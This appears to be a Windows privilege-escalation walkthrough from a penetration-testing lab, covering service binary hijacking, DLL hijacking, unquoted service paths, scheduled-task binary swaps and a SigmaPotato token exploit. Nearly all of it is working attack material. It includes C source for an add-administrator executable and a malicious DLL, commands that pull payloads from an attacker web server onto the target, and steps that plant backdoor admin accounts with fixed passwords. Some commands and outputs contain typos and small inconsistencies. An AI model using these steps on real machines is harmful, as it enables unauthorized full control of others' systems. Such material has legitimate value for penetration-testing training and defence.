

Leveraging Windows Services

1. Service Binary Hijacking

1) Enumerate running services and their binaries

```
Get-CimInstance -ClassName win32_service |  
  Select Name, State, PathName |  
  Where-Object {$_.State -like 'Running'}
```

output

Name	State	PathName
----	-----	-----
Apache2.4	Running	"C:\xampp\apache\bin\httpd.exe" -k runservice
Appinfo	Running	C:\Windows\system32\svchost.exe -k netsvcs -p
...		
mysql	Running	C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini
mysql		
...		

2) Check ACLs on candidate binaries

```
icacls "C:\xampp\apache\bin\httpd.exe"
```

Output

```
C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F)  
                             NT AUTHORITY\SYSTEM:(F)  
                             BUILTIN\Users:(RX)  
                             NT AUTHORITY\Authenticated Users:(RX)
```

Successfully processed 1 files; Failed processing 0 files

```
icacls "C:\xampp\mysql\bin\mysqld.exe"
```

```
C:\xampp\mysql\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)  
                             BUILTIN\Administrators:(F)  
                             BUILTIN\Users:(F)
```

Successfully processed 1 files; Failed processing 0 files

3) Prepare a small add-admin payload

```
#include <stdlib.h>
int main() {
    system("net user dave2 password123! /add");
    system("net localgroup administrators dave2 /add");
    return 0;
}
```

```
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

```
python3 -m http.server 80
```

4) Replace the modifiable service binary

```
iwr -Uri http://192.168.48.3/adduser.exe -OutFile adduser.exe
```

```
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe
```

```
1 file(s) moved.
```

```
1 file(s) moved.
```

5) Attempt service restart (expect denial), then check StartMode

```
net stop mysql
```

System error 5 has occurred.

Access is denied.

```
Get-CimInstance -ClassName win32_service |
    Select Name, StartMode |
    Where-Object {$_.Name -like 'mysql'}
```

```
Name StartMode
```

```
----
mysql Auto
```

6) Verify shutdown privilege and reboot

```
whoami /priv
```

PRIVILEGES INFORMATION

```
-----  
SeShutdownPrivilege      Shut down the system      Disabled  
...
```

```
shutdown /r /t 0
```

7) Confirm escalation (service auto-starts, payload runs)

```
Get-LocalGroupMember administrators
```

ObjectClass	Name	PrincipalSource
-----	----	-----
User	CLIENTWK220\Administrator	Local
User	CLIENTWK220\BackupAdmin	Local
User	CLIENTWK220\dave2	Local
User	CLIENTWK220\daveadmin	Local
User	CLIENTWK220\offsec	Local

2. DLL Hijacking

1) Verify installed apps (spot FileZilla)

Get-ItemProperty

```
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" |  
Select-Object DisplayName
```

DisplayName

FileZilla 3.63.1

KeePass Password Safe 2.51.1

Microsoft Edge

Microsoft Edge Update

Microsoft Edge WebView2 Runtime

Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.28.29913

Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913

Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913

Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29913

2) Confirm write permission to the app directory

```
'e.g., test write' > 'C:\FileZilla\FileZilla FTP Client\test.txt'
```

```
type 'C:\FileZilla\FileZilla FTP Client\test.txt'
```

e.g., test write

```
icacls 'C:\FileZilla\FileZilla FTP Client'
```

```
C:\FileZilla\FileZilla FTP Client BUILTIN\Users:(M)
```

```
NT AUTHORITY\Authenticated Users:(M)
```

```
BUILTIN\Administrators:(F)
```

```
NT AUTHORITY\SYSTEM:(F)
```

```
Successfully processed 1 files; Failed processing 0 files
```

3) (If using Procmon) Set filters to catch the missing DLL

(This step is illustrative—Procmon needs admin; here it's run as backupadmin.)

- **Filter** → **Filter...**
 - Process Name **is** filezilla.exe → **Include** (Add)
 - Operation **is** CreateFile → **Include** (Add)
 - Path **contains** TextShaping.dll → **Include** (Add)

Observed entries (example)

- CreateFile C:\FileZilla\FileZilla FTP Client\TextShaping.dll → **NAME NOT FOUND**
- CreateFile C:\Windows\System32\TextShaping.dll → **SUCCESS**

4) Build the malicious DLL on Kali

```
#include <stdlib.h>
```

```
#include <windows.h>
```

```
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID  
lpReserved) {  
    switch (ul_reason_for_call) {  
        case DLL_PROCESS_ATTACH: {  
            int i;  
            i = system("net user dave3 password123! /add");  
            i = system("net localgroup administrators dave3 /add");  
            break;  
        }  
        case DLL_THREAD_ATTACH: break;  
        case DLL_THREAD_DETACH: break;  
        case DLL_PROCESS_DETACH: break;  
    }  
    return TRUE;  
}
```

```
x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
```

```
python3 -m http.server 80
```

5) Drop the DLL into the app directory (first in search order)

```
iwr -Uri http://192.168.48.3/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
```

```
Get-Item 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll' | Select-Object Name,Length,LastWriteTime
```

Name	Length	LastWriteTime
TextShaping.dll	16384	11/04/2025 10:22:41

6) Wait for a privileged user to launch FileZilla

```
net user
```

```
User accounts for \\CLIENTWK220
```

Administrator	BackupAdmin	dave
dave3	daveadmin	DefaultAccount
Guest	offsec	steve
WDAGUtilityAccount		

The command completed successfully.

```
net localgroup administrators
```

Alias name	administrators
Comment	Administrators have complete and unrestricted access to the computer/domain

```
Members
```

```
Administrator
```

BackupAdmin
dave3
daveadmin
offsec

The command completed successfully.

3. Unquoted Service Paths

1) Enumerate services and spot unquoted paths

```
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
```

Name	State	PathName
------	-------	----------

----	-----	-----
------	-------	-------

...

GammaService	Stopped	C:\Program Files\Enterprise Apps\Current Version\GammaammaServ.exe
--------------	---------	--

...

```
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v ""
```

Name	PathName
GammaService	C:\Program Files\Enterprise Apps\Current Version\GammaammaServ.exe

2) Check if you can start/stop the service

```
Start-Service GammaService
```

```
Stop-Service GammaService
```

WARNING: Waiting for service 'GammaService (GammaService)' to start...

(then it stops cleanly, no errors)

3) Derive Windows' attempted execution order

```
C:\Program Files\Enterprise Apps\Current Version\GammaammaServ.exe
```

```
C:\Program.exe
```

```
C:\Program Files\Enterprise.exe
```

```
C:\Program Files\Enterprise Apps\Current.exe
```

```
C:\Program Files\Enterprise Apps\Current Version\GammaammaServ.exe
```


4) Check write access along those paths

```
icaccls "C:\"  
icaccls "C:\Program Files"  
icaccls "C:\Program Files\Enterprise Apps"
```

```
C:\ BUILTIN\Users:(OI)(CI)(RX)
```

...

```
C:\Program Files BUILTIN\Users:(RX)
```

...

```
C:\Program Files\Enterprise Apps BUILTIN\Users:(OI)(CI)(RX,W)  
Successfully processed 1 files; Failed processing 0 files
```

5) Prepare and place the payload

```
python3 -m http.server 80
```

```
iwr -Uri http://192.168.48.3/adduser.exe -OutFile Current.exe  
copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
```

1 file(s) copied.

6) Start the service (expect start error, but execution still happens)

```
Start-Service GammaService
```

```
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following  
error: Cannot start  
service GammaService on computer '.'
```

...

7) Verify account creation & admin membership

net user

Administrator BackupAdmin dave dave2 daveadmin DefaultAccount Guest offsec steve
WDAGUtilityAccount

The command completed successfully.

net localgroup administrators

Members

Administrator
BackupAdmin
dave2
daveadmin
offsec

The command completed successfully.

Abusing Other Windows Components

1.Scheduled Tasks

1) Enumerate scheduled tasks (hunt for principal, trigger, action)

```
schtasks /query /fo LIST /v
```

```
Folder: \Microsoft
HostName: CLIENTWK220
TaskName: \Microsoft\CacheCleanup
Next Run Time: 7/11/2022 2:47:21 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 7/11/2022 2:46:22 AM
Last Result: 0
Author: CLIENTWK220\daveadmin
Task To Run: C:\Users\steve\Pictures\BackendCacheCleanup.exe
Start In: C:\Users\steve\Pictures
Run As User: daveadmin
Schedule Type: One Time Only, Minute
Start Time: 7:37:21 AM
Start Date: 7/4/2022
```

2) Confirm we can modify the target binary

```
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
```

```
C:\Users\steve\Pictures\BackendCacheCleanup.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
CLIENTWK220\steve:(I)(F)
CLIENTWK220\offsec:(I)(F)
Successfully processed 1 files; Failed processing 0 files
```

3) Swap in our payload (keep a backup)

```
python3 -m http.server 80
```

1) Pull our payload locally (temp name in current dir)

```
iwr -Uri http://192.168.48.3/adduser.exe -OutFile .\BackendCacheCleanup.exe
```

2) Back up the original

```
move .\Pictures\BackendCacheCleanup.exe .\BackendCacheCleanup.exe.bak
```

3) Drop our payload into place

```
move .\BackendCacheCleanup.exe .\Pictures\
```

```
1 file(s) moved.
```

```
1 file(s) moved.
```

```
Get-Item 'C:\Users\steve\Pictures\BackendCacheCleanup.exe' | Select  
Name,Length,LastWriteTime
```

4) Let the task fire, then verify local admin creation

```
net user
```

User accounts for \\CLIENTWK220

```
-----  
Administrator      BackupAdmin      dave  
dave2              daveadmin       DefaultAccount  
Guest              offsec          steve  
WDAGUtilityAccount  
The command completed successfully.
```

```
net localgroup administrators
```

Alias name administrators

Comment Administrators have complete and unrestricted access to the computer/domain

Members

Administrator

BackupAdmin

dave2

daveadmin

offsec

The command completed successfully.

2. Using Exploits

0) Benign proof only

(no changes)

```
kali$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Users\dave> whoami /priv
```

PRIVILEGES INFORMATION

```
-----
SelpersonatePrivilege      Impersonate a client after authentication  Enabled
... (others trimmed)
```

Kali

```
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
python3 -m http.server 80
```

Target (PowerShell)

```
iwr -Uri http://192.168.48.3/SigmaPotato.exe -OutFile .\SigmaPotato.exe
```

```
PS C:\Users\dave> .\SigmaPotato "cmd /c whoami /all > C:\Users\Public\sp.txt"
```

```
[+] Starting Pipe Server...
```

```
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
```

```
[+] Pipe Connected!
```

```
...
```

```
[+] Process Started with PID: 3128
```

```
[+] Process Output:
```

```
The command completed successfully.
```

```
PS C:\Users\dave> type C:\Users\Public\sp.txt | findstr /i "user name sid privileges"
```

USER NAME	SID	PRIVILEGES
nt authority\system	S-1-5-18	SeImpersonatePrivilege ... (trimmed)

1) If approved: create a temporary admin (classic demo)

```
PS C:\Users\dave> .\SigmaPotato "net user dave4 Lab@123! /add"
```

```
[+] Starting Pipe Server...
[+] Pipe Connected!
[+] Process Output:
The command completed successfully.
```

```
PS C:\Users\dave> .\SigmaPotato "net localgroup Administrators dave4 /add"
```

```
[+] Starting Pipe Server...
[+] Pipe Connected!
[+] Process Output:
The command completed successfully.
```

```
PS C:\Users\dave> net user
```

```
User accounts for \\CLIENTWK220
```

```
-----
Administrator BackupAdmin dave dave4 daveadmin DefaultAccount Guest offsec steve
WDAGUtilityAccount
The command completed successfully.
```

```
PS C:\Users\dave> net localgroup Administrators
```

Members

Administrator

BackupAdmin

dave4

daveadmin

offsec

The command completed successfully.